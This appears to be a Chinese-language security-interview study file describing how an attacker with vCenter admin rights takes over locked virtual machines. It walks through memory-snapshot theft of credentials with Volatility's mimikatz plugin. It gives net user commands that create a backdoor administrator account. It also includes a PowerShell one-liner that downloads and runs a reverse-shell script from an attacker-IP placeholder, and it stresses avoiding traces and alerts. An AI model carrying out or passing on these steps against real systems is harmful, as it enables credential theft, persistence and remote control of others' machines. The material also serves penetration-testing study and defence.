Files
Sec-Interview/Chapter5/5-15.md
T
2025-09-25 03:23:59 +08:00

51 lines
3.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### 拿到 vCenter 管理员权限,但部分虚拟机处于锁屏状态怎么办
**1. 内存转储攻击**
这是最强大且隐蔽的攻击方式,它能让你在不与虚拟机桌面直接交互的情况下,窃取到所有已登录用户的密码
- **原理**:Windows 操作系统在运行时,会将已登录用户的明文密码、NTLM 哈希和 Kerberos 票据等凭据信息,存储在 `lsass.exe` 进程的内存中。作为 vCenter 管理员,你可以获取虚拟机的**内存快照,这个快照文件包含了虚拟机在某一时刻的全部内存数据
- **操作步骤**
1. 在 vCenter 界面中,找到锁屏的虚拟机
2. 右键点击虚拟机,选择 **Snapshot -> Take Snapshot**。在弹出的窗口中,勾选 **"Snapshot the virtual machine's memory"**
3. 等待快照完成后,找到这个快照文件(通常是 `.vmem``.vmss` 文件)。这个文件通常位于 ESXi 主机的数据存储(Datastore)上
4. 将这个文件下载到你的攻击机
5. 在攻击机上使用**内存取证工具**,例如 **`Volatility`**。执行命令来分析 `.vmem` 文件并提取凭据
```bash
# 识别操作系统类型
volatility -f <内存快照文件> imageinfo
# 从lsass进程中提取密码哈希和明文密码
volatility -f <内存快照文件> --profile=<识别出的操作系统> mimikatz
```
- **优点**:这种方法非常隐蔽,几乎不会在虚拟机内留下任何痕迹,也不会触发任何安全告警。即使虚拟机锁屏,你依然可以成功获取登录凭据
**2. 利用 VMware Tools 在虚拟机内执行命令**
如果虚拟机内安装了 VMware Tools,你就可以利用 vCenter 的 **`Guest Operations`** 功能,直接在虚拟机内部执行命令,而无需登录
- **原理**VMware Tools 是一个运行在虚拟机操作系统中的服务,它与 vCenter 后台进程进行通信。这使得 vCenter 可以远程管理虚拟机,包括文件传输、脚本执行等
- **操作步骤**
1. 在 vCenter 界面中,找到锁屏的虚拟机
2. 右键点击虚拟机,选择 **Guest OS -> Run Program in Guest**
3. 在弹出的对话框中,你可以输入想要执行的命令
4. 你可以执行以下命令来建立一个持久化的后门
- **创建新的管理员用户**: `C:\Windows\System32\cmd.exe /c "net user newuser password /add"` `C:\Windows\System32\cmd.exe /c "net localgroup administrators newuser /add"`
- **下载并执行反向 Shell** `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "iwr http://<攻击机IP>/shell.ps1 -OutFile C:\temp\shell.ps1; Start-Process C:\temp\shell.ps1"`
- **优点**:这种方法简单直接,只要虚拟机处于开机状态且 VMware Tools 运行正常,你就可以绕过锁屏,直接在内部执行命令
**3. 创建新的管理员账户**
如果上述方法都失败了,你还有终极权限——在虚拟机内创建新的管理员账户
- **原理**:利用 VMware Tools 的 `Run Program in Guest` 功能,你可以直接调用操作系统命令来创建新用户并将其添加到管理员组
- **操作步骤**
- 执行上面提到的 **`net user`** 和 **`net localgroup`** 命令,创建一个新的管理员账户
- 等待命令执行成功后,你就可以使用这个新创建的账户,远程桌面连接到虚拟机,或者通过其他方式登录